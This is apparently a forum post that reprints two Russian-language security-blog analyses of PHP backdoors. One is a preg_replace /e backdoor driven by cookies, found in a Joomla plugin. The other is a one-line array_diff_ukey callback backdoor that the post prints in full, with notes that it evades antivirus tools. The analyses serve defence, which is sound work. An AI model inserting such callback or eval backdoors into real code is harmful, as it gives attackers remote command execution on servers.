Search the Community

Небольшой пост об интересном бэкдоре, который мы нашли в плагине для Joomla. Этот бэкдор был так умело сделан, что сначала мы даже не понял, был ли это бэкдор или нет, хотя и знали, что здесь что-то не так. Вот как выглядел код плагина: На первый взгляд ничего подозрительного не видно. Ничего не зашифровано, ничего не обфусцировано, нет ни каких странных комментариев. Просто нормальный код плагина для Джумлы. Если посмотреть более внимательно, то вы увидите, что конструктор класса не является тем, чем кажется на первый взгляд. Первое, что можно заметить — это то, что die(); стоит в конце кода. Эта функция завершает выполнение текущего скрипта. Однако, это плагин для Joomla, что означает, что die(); убьет все процессы в Joomla. Как вы понимаете это не очень хорошо для плагина, особенно на стадии инициализации. Теперь вы можете заметить это: /123/e. Напоминает регулярное выражение с evalфлагом, которое мы постоянно видим в различных бэкдорах с "preg_replace". Видно, что если заменить $option на preg_replace, то получается типичный бэкдор с "preg_replace": preg_replace(«/123/e», $auth, 123); Поскольку 123 всегда равно 123, то код всегда будет принимать значение переменной $auth. Для того, чтобы наша гипотеза была верна, $option должно быть равно "preg_replace", а $auth должна содержать PHP код. Давайте посмотрим, возможно ли это. Видно, что обе переменные заполняются из Cookie, так что да — это вполне возможно. Как работает бэкдор. Описанный код предполагает, что бэкдор работает следующим образом: После того, как плагин был установлен на Joomla, он запускается каждый раз при загрузке любой страницы и конструктор класса в плагине всегда запускается на выполнение. P3 – этот триггер вызывает выполнение бэкдора. Без него Джумла работает как обычно. P2 — этот кук должен быть "preg_replace", P3 — здесь передается произвольный PHP код. Не все плагины вредоносны. В отличие от WordPress плагинов, о которых мы недавно писали, где вредоносный код был подсажен «пиратами»(которые пересобрали коммерческий плагин уже со своим бэкдором) этот случай не выглядит так, будто владелец сайта скачал на каком-то подозрительном ресурсе этот плагин для Joomla. Плагин InstantSuggestявляется бесплатным и едва ли широко известен (менее 400 загрузок ). Его реальный код не содержит функцию _counstruct(). Более вероятный сценарий заключается в следующем. Бэкдор был добавлен хакерами после взлома сайта, чтобы сохранить доступ к нему, даже если исходный дыра в безопасности была бы закрыта. Более того, похоже, что хакеры не встраивали бэкдор в уже существующий плагин, а просто установили свой плагин с бэкдором. Это проще, чем изменять существующие файлы, что может нарушить работу сайта и раскрыть попытку взлома. Кроме того, такой способ требует более сложного инжектора. В качестве доказательства этой гипотезы мы искали в Интернете бэкдор коды и всегда обнаруживали его внутри кода instantsuggest. Кстати, этот код также используется вне контекста Joomla с Joomla API запросами, подменяемыми простым вызовом @$_COOKIE. Даже в этих тех случаях он по-прежнему окружен кодомinstantsuggest. Похоже, злоумышленники считают, что это делает код менее подозрительным :) Оригинальный текст статьи здесь.

Это перепечатка статьи "В PHP Callback функциях скрывается бэкдор". Мы часто сталкиваемся с новыми изощренными способами, применяемыми авторами вредоносного ПО для запуска заразы на серверах. Некоторые из них очень интересны, другие — забавны. Есть и такие, которые своей необычностью просто ставят нас в тупик. Этот пост именно о последних. Каждый, кто пишет код на PHP знает для чего предназначена функция eval(). Можно сказать, что она исполняет код, содержащийся в строке. Однако, есть много других путей для исполнения кода, которые не всегда столь очевидны. Самый популярный — использование функции preg_replace(). В соответствии со своим описанием, функция preg_replace производит поиск в строке subject совпадений с шаблоном pattern и заменяет их на replacement. К сожалению, при использовании «\e» модификатора, эта функция также исполняет код. Конечно, есть еще много способов выполнить код без использования eval(), например, create_function() или assert(). Все эти нестандартные методы исполнения кода делают процесс выявления угроз достаточно сложной процедурой. Все вышеописанные вещи авторы вредоносного ПО частенько начали использовать для своих Бэкдоров. Бэкдоры Все началось со следующей строки кода, найденной в начале нормального PHP файла: @array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); Это заставило меня поразмышлять некоторое время, прежде чем я понял как это может работать. В конце концов я понял, что проблема в Callback функции. Уже видите почему? Автор зловреда сделал колбек-функцию переменной «login», которая им же и контролируется. Вот так он мог задать Логин выполняемой функцией, что позволяло ему выполнять команды на сервере. Злоумышленник мог выполнить любую команду, которую он хочет, на этом сервере за счет одной строчки кода. Что самое страшное, такая вещь не обнаруживалась ни одной антивирусной системой или другим софтом, которое мы используем. Так в чем же основная опасность? Большинство инструментов безопасности и всяческих статей, рекомендую вебмастерам обращать внимание на функции, которые часто используются в злонамеренных целях, такие как: eval, preg_replace, base64_decode и другие. Теперь вы знаете, что хакеры начинают активно использовать и самые безобидные функции в своих плохих для вас целях. Запомните, что злоумышленники не ограничиваются одной функцией array_diff_ukey(), они могут использовать любую функцию, предполагающую коллбек. Оригинальный текст позаимствован отсюда: http://virusdie.ru/blog/2014/04/28/phpcallbackbackdoor/